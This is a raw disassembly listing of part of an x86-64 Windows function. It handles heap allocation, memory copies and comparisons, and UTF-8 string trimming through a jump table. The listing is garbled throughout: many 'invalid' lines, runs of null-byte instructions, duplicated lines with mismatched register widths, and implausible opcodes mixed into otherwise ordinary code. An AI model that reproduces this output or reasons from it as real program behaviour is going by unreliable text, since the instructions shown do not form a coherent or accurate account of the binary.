outsd dx, dword [rsi]
lea eax, [rax]
add eax, dword [rax]
add byte [rdi], cl
sub byte [rbp + 0x310], dl
adc byte [rbx], al
add byte [rax], al
movups xmmword [rcx + 0x30], xmm2
movdqu xmmword [rcx + 0x20], xmm1
movups xmmword [rcx + 0x10], xmm0
mov rax, qword [r13 + 0x110]
cmp byte [rax + 0x1b8], 0
je 0x1401250a0
mov r9d, dword [rbp + 0x564]
test r9, r9
je 0x140124c88
mov rdx, qword [rbp + 0x558]
cmp rdx, r9
jbe 0x140124c62
cmp byte [rsi + r9], 0xbf
jg 0x140124c68
add al, byte [rax]
invalid
add al, byte [rax]
add cl, ch
js 0x140124a2b
jmp 0x140127c73
add byte [rax], al
lea rax, [0x1401b9e38]
mov qword [rbp + 0x538], rax
lea rax, [0x1401ea218]
add byte [rax - 0x77], cl
test dword [rax + 5], eax
add byte [rax], al
lea rax, [rbp + 0x548]
movdqu xmmword [rax], xmm6
mov rax, qword [r15 + 0x128]
cmp rax, 1
ja 0x140127369
clc
add dword [rdi], ecx
xchg dword [rsi], esi
sub dword [rax], eax
add byte [rax - 1], cl
ror byte [rcx - 0x77], 0x87
sub byte [rcx], al
add byte [rax], al
inc rax
mov qword [r15 + 0x128], rax
mov rdi, qword [r15 + 0x98]
mov rsi, qword [r15 + 0xa8]
test rsi, rsi
je 0x140124aa1
lea r15, [0x1401b9e38]
js 0x140127bbf
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne 0x140124a86
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127b71
mov qword [0x14023c258], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140124aad
jmp 0x140127b71
mov ebx, 1
lea r15, [0x1401b9e38]
lea edi, [0x1401b9e38]
add byte [rbp + rcx*4 + 0x3d], cl
mov edx, dword [rbx + 9]
lea edi, [0x1401b9e38]
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
and byte [rdx], bl
invalid
add byte [rax - 0x77], cl
popfq
rol byte [rsi], 1
add byte [rax], al
mov qword [rbp + 0x6d8], rsi
and byte [rdx], bl
invalid
mov qword [rbp + 0x6e0], rsi
mov ch, 0xe0
invalid
mov byte [rbp + 0x822], 1
mov rcx, r12
mov rdx, r13
call fcn.140012450
fldz
inc esi
test dword [rdx], esp
or byte [rax], al
add byte [rcx], al
fldz
inc esi
test dword [rdx], esp
or byte [rax], al
add byte [rcx], al
mov rcx, r13
mov rdx, r12
call fcn.14003be20
cmp byte [rbp + 0x6d0], 3
je case.default.0x140124c59
mov rax, qword [rbp + 0x720]
add byte [rax], al
mov qword [rbp + 0x380], rax
add byte [rbx], 0
add byte [rdi], cl
adc byte [rbp + 0x710], al
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rbp + 0x710]
add byte [rax], al
movaps xmmword [rbp + 0x370], xmm0
add byte [rax], al
movups xmm0, xmmword [rbp + 0x6d0]
add byte [rax], al
movups xmm1, xmmword [rbp + 0x6e0]
movups xmm2, xmmword [rbp + 0x6f0]
invalid
invalid
add byte [rdi], cl
adc byte [rbp + 0x6f0], dl
invalid
add byte [rdi], cl
adc byte [rbp + 0x700], bl
invalid
movups xmm3, xmmword [rbp + 0x700]
add byte [rdi], cl
sub dword [rbp + 0x360], ebx
popfq
invalid
add eax, dword [rax]
invalid
movaps xmmword [rbp + 0x360], xmm3
popfq
invalid
add byte [rdi], cl
sub dword [rbp + 0x350], edx
invalid
movaps xmmword [rbp + 0x350], xmm2
add byte [rdi], cl
sub dword [rbp + 0x340], ecx
add eax, dword [rax]
invalid
movaps xmmword [rbp + 0x340], xmm1
add eax, dword [rax]
add byte [rdi], cl
movaps xmmword [rbp + 0x330], xmm0
movaps xmmword [rbp + 0x330], xmm0
movdqu xmmword [r14 - 0x50], xmm6
movdqu xmmword [r14 - 0xa0], xmm6
movdqu xmmword [r14 - 0x88], xmm6
lea rax, [rbp + 0x394]
test dword [rbx + rax - 0x46b80000], edx
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
test dword [rbx + rax - 0x46b80000], edx
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
mov qword [rax + 0x12], rcx
mov dword [rax + 0x12], ecx
movups xmmword [rax + 2], xmm7
mov qword [rbp + 0x6d0], 0
mov qword [rbp + 0x6e8], 2
test eax, ebp
invalid
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x6f0], 0
test eax, ebp
invalid
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x6f8], 8
mov qword [rbp + 0x710], 8
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov word [rbp + 0x728], 0
mov byte [rbp + 0x730], 0
mov qword [rbp + 0x740], r15
lea rax, [0x1401ea218]
mov qword [rbp + 0x748], rax
mov qword [rbp + 0x760], r15
lea rax, [0x1401eaa68]
mov qword [rbp + 0x768], rax
mov qword [rbp + 0x770], 1
mov qword [rbp + 0x778], 0
mov word [rbp + 0x780], 0xffff
movups xmm0, xmmword [rbp + 0x390]
movups xmm1, xmmword [rbp + 0x39e]
movups xmmword [r14 - 0x10], xmm1
movups xmmword [r14 - 0x1e], xmm0
mov qword [rbp + 0x7a0], 0
mov byte [rbp + 0x7a8], 2
mov rax, qword [rbp + 0x698]
movzx r13d, byte [rax]
lea rcx, [0x1401ef92c]
movsxd rax, dword [rcx + r13*4]
add rax, rcx
jmp rax
xor ebx, ebx
jmp 0x1401255d3
jne 0x140127c73
cmp r9d, 4
jne 0x140124c88
mov rcx, rsi
lea rdx, [0x1401ea773]
mov r8, r9
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140125ba4
mov rsi, qword [r13 + 0xa8]
mov rdi, qword [r13 + 0x98]
test rsi, rsi
je 0x140124ce5
js 0x140127c96
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne 0x140124cca
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127c46
mov qword [0x14023c258], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140124cea
jmp 0x140127c46
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x6e0], rbx
mov qword [rbp + 0x6e8], rsi
mov qword [rbp + 0x6f0], rsi
mov rax, qword [rbp + 0x6b8]
movups xmm0, xmmword [rax]
movups xmmword [r14 - 0x90], xmm0
movzx eax, byte [rax + 0x10]
mov byte [r14 - 0x80], al
mov eax, dword [r13 + 0xb0]
mov ecx, dword [r13 + 0xc4]
movups xmm0, xmmword [r13 + 0x88]
movdqu xmm1, xmmword [r13 + 0xb4]
movdqu xmmword [rbp + 0x6fc], xmm1
mov dword [rbp + 0x6f8], eax
mov dword [rbp + 0x70c], ecx
movups xmmword [rbp + 0x6d0], xmm0
lea rcx, [rbp + 0x6d0]
call fcn.140184b00
lea rcx, [rbp + 0x6d0]
call fcn.140185010
xchg edi, eax
add al, byte [rsi]
add byte [rbx + 0x6d8bd], al
invalid
add byte [rax], al
invalid
xchg edi, eax
add al, byte [rsi]
add byte [rbx + 0x6d8bd], al
invalid
add byte [rax], al
invalid
invalid
mov rax, qword [rbp + 0x6f0]
add byte [rax], al
je 0x140124d94
mov esi, dword [rbp + 0x6dc]
cmp rax, rsi
jae 0x140124d99
invalid
mov rsi, rax
jmp 0x140124dba
test esi, esi
je 0x140124db3
cmp rax, rsi
jbe 0x140124db3
mov rax, qword [rbp + 0x6e0]
cmp byte [rax + rsi], 0xbf
jle 0x140127d36
mov qword [rbp + 0x6f0], rsi
mov dword [rbp + 0x6d8], 0
mov r8d, dword [rbp + 0x6fc]
mov r12, qword [rbp + 0x6e0]
mov rax, rsi
inc r8d
inc eax
inc eax
je case.0x14011130f.476
mov rax, rsi
sub rax, r8
jbe 0x140124dee
cmp byte [r12 + r8], 0xbf
jg case.0x14011130f.476
cmp al, 4
mov edi, 0xe8e90b7f
jmp 0x140127cd6
add byte cs:[rax], al
add byte [rdi], cl
test edx, esp
add byte cs:[rax], al
add byte [rax], al
jne 0x140127cd6
add byte [rax], al
test rax, rax
je case.0x14011130f.479
sal byte [rcx + rdx + 0x43], 0x80
cmp byte [r12 + r8], 0x2f
cmp byte [rsp + rax], 0x2f
cmp al, 4
invalid
sete al
test al, al
invalid
je 0x140124e14
sal byte [rdi + rcx - 0x17], 0xcc
add byte [rax], al
add byte [rcx], dh
xor eax, eax
test al, al
jne 0x140124ed6
cmp dword [rbp + 0x6d0], 0
jmp 0x140124ed6
int3
xor eax, eax
test al, al
jne 0x140124ed6
cmp dword [rbp + 0x6d0], 0
jne 0x140124ed6
test rsi, rsi
je 0x140124eca
lea rcx, [r12 + rsi]
xor eax, eax
movzx edx, byte [rcx - 1]
test dl, dl
js 0x140124e40
dec rcx
movzx edx, dl
jmp 0x140124ea2
movzx r8d, byte [rcx - 2]
cmp r8b, 0xc0
jge 0x140124e70
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x140124e82
inc byte [rcx - 0x7d]
loopne 0x140124e97
jmp 0x140124e8d
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and dl, 0x3f
movzx edx, dl
or edx, r8d
cmp edx, 0x110000
je 0x140124eaf
cmp edx, 0x20
jne 0x140124eaf
inc rax
cmp r12, rcx
jne 0x140124e30
mov rcx, rsi
sub rcx, rax
jb 0x140124ed6
je 0x140124ecc
cmp rsi, rcx
jbe 0x140124ecc
cmp byte [r12 + rcx], 0xbf
jg 0x140124ecc
jmp 0x140127d8b
xor ecx, ecx
mov qword [rbp + 0x6f0], rcx
mov rsi, rcx
xor eax, eax
nop dword [rax + rax]
add byte [rax], al
invalid
mov rbx, rax
cmp rsi, rax
cmp esi, eax
je 0x140124f1f
movzx r8d, byte [r12 + rbx]
cmp r8b, 0x20
setae cl
cmp r8b, 0x7f
setne dl
lea rax, [rbx + 1]
cmp r8b, 9
je 0x140124ee0
and cl, dl
jne 0x140124ee0
mov dil, 2
cmp qword [rbp + 0x6e8], 0
jne 0x140124fd3
test rsi, rsi
je case.0x1401132c0.385
js 0x140127d07
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne case.0x140111eeb.384
add eax, 0x117305
mov rcx, rax
xor edx, edx
sal dword [rcx], 0xd2
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x6a0d7
adc eax, 0x6a0d7
mov rdi, rax
invalid
test rax, rax
jne 0x140124f73
jmp 0x140127cf5
xchg dword [0x141d14f70], ebp
add byte [rax], al
mov edi, 1
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, r12
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x390], rdi
mov qword [rbp + 0x398], rsi
mov qword [rbp + 0x3a0], rsi
lea rcx, [rbp + 0x590]
lea rdx, [rbp + 0x390]
add eax, dword [rax]
add al, ch
cmpsd dword [rsi], dword [rdi]
invalid
out dx, al
dec dword [rdi]
adc byte [rbp + 0x590], al
add eax, dword [rax]
add al, ch
cmpsd dword [rsi], dword [rdi]
invalid
dec dword [rdi]
adc byte [rbp + 0x590], al
movdqu xmm1, xmmword [rbp + 0x5a0]
movq mm1, qword [rbp + 0x5a0]
movaps xmmword [rbp + 0x100], xmm0
movdqa xmmword [rbp + 0x110], xmm1
xor edi, edi
cmp qword [rbp + 0x6e8], 0
mov ebp, 0x6e8
invalid
je 0x140124fe5
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, r12
ror byte [rbp - 0x77], cl
loopne 0x140124fdf
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x6a043
cmp rsi, rbx
jne 0x1401250a0
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x6e0], xmm1
invalid
add byte [rax], al
movaps xmmword [rbp + 0x6d0], xmm0
invalid
add byte [rax], al
mov byte [rbp + 0x6f0], dil
invalid
add byte [rax], al
add byte [rbx + 0x4d8b5045], cl
push rbx
invalid
invalid
invalid
add byte [rbx + 0x4d8b5045], cl
push rbx
push r11
mov dword [r14 - 0xac], ecx
invalid
mov dword [r14 - 0xaf], eax
xchg byte [rcx - 1], dl
invalid
dec dword [rdi]
adc byte [0x1401be6a0], al
movups xmm0, xmmword [0x1401be6a0]
movaps xmmword [rbp + 0x3a0], xmm0
movups xmm0, xmmword [0x1401be690]
adc byte [0x1401be690], al
add eax, dword [rax]
add byte [rdi], cl
adc byte [0x1401be690], al
movaps xmmword [rbp + 0x390], xmm0
mov byte [rbp + 0x827], 0
lea rcx, [rbp + 0x590]
mov rdx, qword [rbp + 0x6b0]
invalid
add byte [rax], al
lea r8, [rbp + 0x390]
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x73], cl
rol byte [rsi], 1
add byte [rax], al
invalid
invalid
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x73], cl
rol byte [rsi], 1
add byte [rax], al
invalid
add al, ch
xchg ebp, eax
pmuludq mm7, mm7
call fcn.140066000
cmp byte [rbp + 0x5b0], 2
je 0x1401250a0
mov ebp, 0x5b0
add dh, byte [rsp + rbp + 0x48]
mov eax, dword [rbp + 0x590]
mov rax, qword [rbp + 0x590]
mov rdx, qword [rbp + 0x598]
mov rax, qword [rax + 0x10]
mov r8, qword [rbp + 0x5a0]
mov byte [rbp + 0x827], 0
invalid
or byte [rax], al
add byte [rax], al
lea rcx, [rbp + 0x5a8]
call rax
nop dword [rax]
invalid
invalid
add byte [rcx - 0x75], cl
mov ebp, 0x98
mov rdi, qword [r13 + 0x98]
mov rsi, qword [r13 + 0xa8]
test rsi, rsi
je 0x1401250fd
js 0x140127bd0
sub eax, dword [rax]
add byte [rdi], cl
mov dh, 5
jb 0x1401250d0
jb 0x1401250d0
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
jno 0x1401250d7
invalid
jb 0x1401250d0
add byte [rax - 0x75], cl
add eax, 0x117191
jno 0x1401250d7
invalid
jno 0x1401250d7
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], 0xff
invalid
invalid
test rax, rax
jne case.0x140115bd4.290
invalid
invalid
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0x69f6e
invalid
test rax, rax
je 0x140127b8a
invalid
scasd eax, dword [rdi]
sub al, byte [rax]
invalid
ror byte [rdi], 0x84
test byte [rdi + 0x4800002a], ch
mov dword [0x14023c258], eax
scasd eax, dword [rdi]
sub al, byte [rax]
add byte [rax - 0x77], cl
add eax, 0x117176
mov qword [0x14023c258], rax
mov rcx, rax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140125102
jmp 0x140127b8a
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
mov eax, esi
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x6b8]
movzx eax, byte [rcx + 0x10]
mov byte [r14 - 0x80], al
movups xmm0, xmmword [rcx]
movups xmmword [r14 - 0x90], xmm0
mov eax, dword [r13 + 0xb0]
mov ecx, dword [r13 + 0xc4]
movups xmm0, xmmword [r13 + 0x88]
mov qword [rbp + 0x6e0], rbx
loopne 0x14012514b
add byte [rax], al
loopne 0x14012514b
add byte [rax], al
mov qword [rbp + 0x6e8], rsi
mov qword [rbp + 0x6f0], rsi
add byte [rax], al
invalid
add byte [rax], al
movups xmmword [rbp + 0x6d0], xmm0
mov dword [rbp + 0x6f8], eax
movups xmm0, xmmword [r13 + 0xb4]
movups xmmword [rbp + 0x6fc], xmm0
mov dword [rbp + 0x70c], ecx
mov rdx, qword [r13 + 0x108]
mov edx, dword [rbp + 0x108]
mov edx, dword [rbp + 0x108]
cmp rdx, qword [r13 + 0x100]
cmp edx, dword [rbp + 0x100]
jne 0x14012519a
adc ecx, dword [rax - 0x75]
invalid
mov rcx, qword [rbp + 0x1e8]
call 0x128125190
sbb eax, 0x49000041
mov edx, dword [rbp + 0x108]
call fcn.1401292b0
mov rdx, qword [r13 + 0x108]
mov rax, qword [r13 + 0xf8]
imul rcx, rdx, 0x58
mov r8, qword [rbp + 0x720]
mov qword [rax + rcx + 0x50], r8
movups xmm0, xmmword [rbp + 0x710]
movups xmmword [rax + rcx + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x6d0]
movdqu xmm1, xmmword [rbp + 0x6e0]
movups xmm2, xmmword [rbp + 0x6f0]
movups xmm3, xmmword [rbp + 0x700]
movups xmmword [rax + rcx + 0x30], xmm3
movups xmmword [rax + rcx + 0x20], xmm2
movdqu xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rdx
mov qword [r13 + 0x108], rdx
add byte [rcx - 0x75], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax - 0x75], cl
mov byte [rax + 0x48000001], cl
test ecx, ecx
add byte [rcx - 0x75], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax - 0x75], cl
mov byte [rax + 0x48000001], cl
test ecx, ecx
je 0x14012522f
cmp ecx, 1
jne 0x140127544
cmp qword [rax + 0x190], rdx
jbe 0x1401276d5
and al, 0
invalid
and al, 0
add byte [rax + 0x1bab8], al
add byte [rax], al
invalid
cmp byte [rax + 0x1ba], 0
add byte [rax], al
add byte [rbp + 0x7e], dh
jne 0x1401252a8
jmp 0x140125301
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
mov rcx, qword [r13 + 0xf8]
movzx r8d, word [rbp + 0x18]
sbb byte [rbp + rcx*4 - 0x73], cl
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x49], al
sbb byte [r13 + rcx*4 - 0x73], r9b
sbb byte [rbp + rcx*4 - 0x73], cl
sbb byte [rbp + rcx*4 - 0x73], cl
cmp byte [0xc95e5244], al
invalid
mov qword [rbp + 0x6d0], r9
mov qword [rbp + 0x6d8], rcx
mov qword [rbp + 0x6e0], rdx
mov word [rbp + 0x6e8], r8w
mov rdx, qword [rax + 0x190]
mov rax, qword [rax + 0x198]
mov rax, qword [rax + 0x28]
mov byte [rbp + 0x827], 0
lea rcx, [rbp + 0x590]
lea r8, [rbp + 0x6d0]
call rax
mov rax, qword [rbp + 0x590]
test rax, rax
jne 0x14012753a
mov rax, qword [r13 + 0x110]
cmp byte [rax + 0x1ba], 0
je 0x140125301
mov r9d, dword [rbp + 0x564]
mov rdi, qword [rbp + 0x548]
add eax, 0x8b480000
mov ebp, 0x548
mov rsi, qword [rbp + 0x558]
test r9, r9
je 0x1401272d1
cmp rsi, r9
jbe 0x1401252d7
cmp byte [rdi + r9], 0xbf
jg 0x1401252dd
jmp 0x140127c16
jne 0x140127c16
cmp dword [rcx], ebp
add byte [rax], al
cmp r9d, 5
jne 0x1401272d1
add eax, 0x1fea850f
add byte [rax], al
mov rcx, rdi
lea rdx, [0x1401ea777]
push rsp
or al, 0
push rsp
or al, 0
mov r8, r9
mov eax, ecx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1401272d1
adc dword [rsi], eax
add byte [rbp - 0x2f7af040], al
invalid
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x720], rax
movups xmm0, xmmword [rbp + 0x578]
movaps xmmword [rbp + 0x710], xmm0
movups xmm0, xmmword [rbp + 0x538]
movups xmm1, xmmword [rbp + 0x548]
adc byte [rbp + 0x548], cl
adc byte [rbp + 0x548], cl
movups xmm2, xmmword [rbp + 0x558]
adc byte [rbp + 0x558], dl
movups xmm3, xmmword [rbp + 0x568]
movaps xmmword [rbp + 0x700], xmm3
add byte [rdi], al
add byte [rax], al
push 0xf000005
sub dword [rbp + 0x700], ebx
add byte [rdi], al
add byte [rax], al
add byte [rdi], al
add byte [rax], al
movaps xmmword [rbp + 0x6f0], xmm2
movaps xmmword [rbp + 0x6e0], xmm1
movaps xmmword [rbp + 0x6d0], xmm0
cmp qword [r13 + 0xa0], 0
invalid
test eax, edx
invalid
je 0x140125375
mov r8, qword [r13 + 0x98]
add byte [rax], al
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x720]
mov rcx, qword [rbp + 0x4c8]
add al, 0
add byte [rax - 0x77], cl
push r8
push rax
invalid
add al, 0
add byte [rax - 0x77], cl
push r8
push rax
push rax
movaps xmm0, xmmword [rbp + 0x710]
movups xmmword [rcx + 0x40], xmm0
invalid
invalid
test dword [rax], edx
invalid
add byte [rdi], cl
adc dword [rcx + 0x40], eax
invalid
invalid
movaps xmm0, xmmword [rbp + 0x6d0]
movaps xmm0, xmmword [rbp + 0x6d0]
test eax, edx
invalid
movaps xmm1, xmmword [rbp + 0x6e0]
movaps xmm2, xmmword [rbp + 0x6f0]
xchg ebp, eax
invalid
invalid
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x700], bl
add byte [rdi], al
add byte [rax], al
invalid
invalid
xchg ebp, eax
invalid
invalid
add byte [rdi], cl
sub byte [rbp + 0x700], bl
add byte [rdi], al
add byte [rax], al
add byte [rdi], al
add byte [rax], al
invalid
movups xmmword [rcx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
adc byte [r15], cl
adc byte [rdi], cl
movups xmmword [rcx], xmm0
adc dword [rcx], eax
mov rax, qword [rbp + 0x6b0]
mov eax, dword [rbp + 0x6b0]
test dword [rax + 0xf000006], esi
mov al, 6
add byte [rax], al
movups xmm0, xmmword [rax + 0x50]
adc byte [rax + 0x50], al
push rax
movaps xmmword [rbp + 0x2a0], xmm0
movups xmm0, xmmword [rax + 0x40]
test dword [rax + 0xf000002], esp
add al, byte [rax]
add byte [rdi], cl
adc byte [rax + 0x40], al
movaps xmmword [rbp + 0x290], xmm0
add byte [rdi], cl
adc byte [rax], al
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movq mm1, qword [rax + 0x10]
adc byte [rdi], cl
adc byte [rdi], cl
movups xmm2, xmmword [rax + 0x20]
adc byte [rax + 0x20], dl
movups xmm3, xmmword [rax + 0x30]
pop rax
xor byte [rdi], cl
movaps xmmword [rbp + 0x280], xmm3
movaps xmmword [rbp + 0x280], xmm3
add byte [rdx], 0
add byte [rdi], cl
movaps xmmword [rbp + 0x270], xmm2
add byte [rax], al
movaps xmmword [rbp + 0x270], xmm2
jo case.0x14011d1d3.91
add byte [rax], al
movdqa xmmword [rbp + 0x260], xmm1
jg case.0x14011d1d3.88
invalid
add al, byte [rax]
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x250], eax
add al, byte [rax]
invalid
movaps xmmword [rbp + 0x250], xmm0
add al, byte [rax]
add byte [rcx - 0x39], cl
sub byte [r8], r8b
sub byte [rax], al
mov qword [r13 + 0x28], 0
mov qword [r13 + 0x40], 2
add al, byte [rax]
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rcx - 0x39], cl
add al, byte [rax]
add al, byte [rax]
add byte [rax], al
mov qword [r13 + 0x48], 0
mov dword [rbp + 0x48], 0
add byte [rax], al
add byte [rax], al
mov qword [r13 + 0x50], 8
push r8
or byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x1d8]
mov eax, dword [rbp + 0x1d8]
movdqu xmmword [rax], xmm6
movq qword [rax], mm6
mov qword [r13 + 0x68], 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
test eax, esp
mov rax, qword [rbp + 0x1e0]
add dword [rax], eax
add bl, dh
movdqu xmmword [rax], xmm6
movdqu xmmword [rax], xmm6
mov word [rax + 0x10], 0
adc byte [rax], al
add byte [rbp - 0x75], cl
invalid
invalid
movsd dword [rdi], dword [rsi]
mov r12, qword [r13 + 0x108]
or byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x73], cl
and al, 0xff
and al, 0xff
lea rax, [r12 - 1]
and al, 0xff
dec dword [rcx - 0x7d]
in al, dx
sub r12, 1
jb 0x14012639d
invalid
cmp al, 0xf
sldt word [rax]
add dword [rdi], ecx
invalid
sldt word [rax]
mov r15, qword [r13 + 0xf8]
mov ebp, pe_nt_image_headers64
add byte [rax], al
add byte [rax + 0x6b], cl
imul rbx, rax, 0x58
fcomp dword [rax + 0x4c]
add ebx, edi
sti
add rbx, r15
sti
mov rax, qword [rbp + 0x6b8]
cmp byte [rax], 0
cmp byte [rax], al
mov eax, 0x80000006
invalid
cmp byte [rax], al
je 0x1401254c2
mov r8d, dword [r13 + 0xbc]
mov r8d, dword [r13 + 0xbc]
mov esp, 0x41000000
mov eax, dword [rbp + 0xc0]
add byte [rax], al
add byte [rax], al
mov eax, dword [r13 + 0xc0]
add byte [rax], al
mov rcx, qword [r13 + 0x98]
add byte [rax], al
mov rdx, qword [r13 + 0xa8]
xchg ebp, eax
test al, 0
add byte [rax], al
invalid
add byte [rcx + 0x39], al
ror byte [rdi], 0x87
invalid
cmp r8d, eax
ja 0x140127be1
add byte [rax], al
test r8d, r8d
je 0x140125ac8
add byte [rax], al
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
cmp rdx, r8
jbe 0x140125ac2
imul rax, r12, 0x58
cmp byte [r15 + rax + 0x40], 0
cmp byte [rdi + rax + 0x40], 0
cmp byte [rdi + rax + 0x40], 0
je 0x140125b77
xor ecx, ecx
jmp 0x140125af8
mov bl, 4
jmp 0x1401255d0
mov rcx, qword [rbp + 0x7f0]
movzx eax, byte [rcx + 0xe1]
add byte [rax], al
add byte [rax + 0x7dd85], cl
add byte [rdi], cl
mov dh, 0xb1
loop 0x1401254f9
add byte [rax], al
add byte [rax], al
add byte [rax + 0x7dd85], cl
add byte [rdi], cl
mov dh, 0xb1
loop 0x1401254f9
add byte [rax], al
mov rdx, qword [rbp + 0x4e0]
movzx eax, byte [rdx + 4]
mov byte [rbp + 0x394], al
mov eax, dword [rdx]
add al, 0
add byte [rdi], cl
mov dh, 0x42
add al, 0x88
test dword [rbx + rax + 0x28b0000], edx
mov dword [rbp + 0x390], eax
mov rax, qword [rcx + 0xe8]
test dword [rax + 0x48000003], edx
mov eax, dword [rcx + 0xe8]
mov qword [rbp + 0x7e8], rax
movzx eax, byte [rcx + 0xf0]
mov qword [rbp + 0x7d0], rax
mov bl, 9
xor r13d, r13d
jmp 0x1401255d3
mov bl, 2
jmp 0x1401255d0
mov bl, 3
jmp 0x1401255d0
mov bl, 7
jmp 0x1401255d0
mov bl, 1
jmp 0x1401255d0
mov bl, 5
jmp 0x1401255d0
mov bl, 6
jmp 0x1401255d0
mov rax, qword [rbp + 0x7f0]
mov rdi, qword [rax + 0xe8]
mov rsi, qword [rax + 0xf0]
test rsi, rsi
je 0x140125c12
js 0x140127d77
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne 0x1401255ab
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140127d53
mov qword [0x14023c258], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x140125c17
jmp 0x140127d53
mov bl, 8
nop dword [rax]
xor r13d, r13d
movzx eax, byte [rbp + 0x394]
mov byte [rbp + 0x7e4], al
mov eax, dword [rbp + 0x390]
mov dword [rbp + 0x7e0], eax
movzx eax, byte [rbp + 0x6d8]
mov byte [rbp + 0x800], al
movzx eax, byte [rbp + 0x6d9]
mov byte [rbp + 0x810], al
mov rdi, qword [rbp + 0x790]
cmp r13d, 3
sete r15b
lea rcx, [rbp + 0x390]
mov r14, qword [rbp + 0x798]
movzx r12d, byte [rbp + 0x788]
mov r8d, 0xae
lea rdx, [rbp + 0x6da]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x7a0]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x100], xmm0
cmp r12b, 0xa
jb 0x14012566b
test r14, r14
je 0x14012566b
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, 0xae
lea rdi, [rbp + 0x50]
mov rcx, rdi
lea rdx, [rbp + 0x390]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x7e0]
mov dword [rbp + 0x6a0], eax
movzx eax, byte [rbp + 0x7e4]
mov byte [rbp + 0x6a4], al
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x470], xmm0
lea r14, [rbp + 0x7a0]
mov r8d, 0xae
lea r12, [rbp + 0x100]
mov rcx, r12
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rbp + 0x6a4]
mov byte [rbp + 0x514], al
mov eax, dword [rbp + 0x6a0]
mov dword [rbp + 0x510], eax
movaps xmm0, xmmword [rbp + 0x470]
movaps xmmword [rbp + 0x1f0], xmm0
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0xa0], rax
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0x330]
